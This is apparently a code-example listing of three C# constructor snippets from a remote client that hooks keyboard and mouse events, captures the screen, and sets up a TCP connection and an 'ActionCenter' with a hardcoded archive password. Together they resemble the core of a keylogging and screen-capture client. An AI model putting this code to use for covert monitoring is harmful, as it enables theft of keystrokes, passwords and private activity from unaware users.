예제 #1
0
        public KeyCapture(LogQueue <byte[]> log)
        {
            this.kh             = new KeyboardHook();
            this.kh.KeyDown    += new KeyboardHook.KeyHandler(kh_KeyDown);
            this.kh.KeyPressed += new KeyboardHook.KeyHandler(kh_KeyPressed);
            this.kh.KeyUp      += new KeyboardHook.KeyHandler(kh_KeyUp);

            if (log != null)
            {
                this.keyLog = log;
            }
            else
            {
                this.keyLog = new LogQueue <byte[]>();
            }
        }
예제 #2
0
        public MouseCapture(LogQueue <byte[]> log)
        {
            this.mh.MouseClicked       += new MouseHook.MouseHandler(mh_MouseClicked);
            this.mh.MouseDoubleClicked += new MouseHook.MouseHandler(mh_MouseDoubleClicked);
            this.mh.MouseDown          += new MouseHook.MouseHandler(mh_MouseDown);
            this.mh.MouseMove          += new MouseHook.MouseHandler(mh_MouseMove);
            this.mh.MouseUp            += new MouseHook.MouseHandler(mh_MouseUp);
            this.mh.MouseWheel         += new MouseHook.MouseHandler(mh_MouseWheel);

            if (log != null)
            {
                this.mouseLog = log;
            }
            else
            {
                this.mouseLog = new LogQueue <byte[]>();
            }
        }
예제 #3
0
        public ClientForm(string addr, int socket, ClientTransferType type, int captureInterval, string clientName)
            : this()
        {
            this._paramAddress = addr;
            this._paramSocket  = socket;
            this._paramType    = type;
            this._paramName    = clientName;

            this._neuroLog.Write("Initializing TCP instance");
            this._client = new TcpClient();

            this._client.OnDataReceived      += new TcpClient.ClientStatusEventHandler(_client_OnDataReceived);
            this._client.OnConnectionSuccess += new TcpClient.ClientStatusEventHandler(_client_OnConnectionSuccess);
            this._client.OnError             += new TcpClient.ClientStatusEventHandler(_client_OnError);
            this._client.OnStatusChanged     += new TcpClient.ClientStatusEventHandler(_client_OnStatusChanged);
            this._client.OnDisconnect        += new TcpClient.ClientStatusEventHandler(_client_OnDisconnect);

            this._neuroLog.Write("Connection Timer", "Enabled");
            this.connTimer.Enabled = true;

            this._neuroLog.Write("Initializing Action Center", "7z Password: l*lk0d3");
            this._actionCenter                    = new ActionCenter("l*l7k0d3");
            this._actionCenter.SendData          += new ActionCenter.ActionCenterEventHandler(_actionCenter_SendData);
            this._actionCenter.ReceiveAppCommand += new ActionCenter.ActionCenterInternalEventHandler(_actionCenter_ReceiveAppCommand);
            this._actionCenter.CaptureManagerModule.DebugEvent         += new ActionCenter.DebugEventHandler(_actionCenter_DebugEvent);
            this._actionCenter.CaptureManagerModule.CaptureShrinkFactor = 0.4f;
            this._actionCenter.CaptureManagerModule.CaptureInterval     = captureInterval;
            this._actionCenter.CaptureManagerModule.CaptureBufferCount  = 20;

            this._neuroLog.Write("Initializing Capture Modules");
            this._logQueue          = new LogQueue <byte[]>();
            this._sc                = new ScreenCapture();
            this._sc.CursorChanged += new ScreenCapture.ScreenUpdateEvent(_sc_CursorChanged);
            this._kc                = new KeyCapture(this._logQueue);
            this._mc                = new MouseCapture(this._logQueue);

            this.captureTimer.Interval = this._actionCenter.CaptureManagerModule.CaptureInterval;

            string __tempLog = "";

            if ((this._paramType & ClientTransferType.NoScreenCapture) != ClientTransferType.NoScreenCapture)
            {
                __tempLog = "Enable Screen Capture\n";
                this.screenToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.KeyEventLogging) == ClientTransferType.KeyEventLogging)
            {
                __tempLog += "Enable Key Logging\n";
                this.keyEventsToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.MouseEventLogging) == ClientTransferType.MouseEventLogging)
            {
                __tempLog += "Enable Mouse Capture";
                this.mouseEventsToolStripMenuItem.Checked = true;
            }
            this._neuroLog.Write("Initializing Toolstrip Checkboxes", __tempLog);

            //this._sc.Start();
            // Do not start capture timer till connection is made.
        }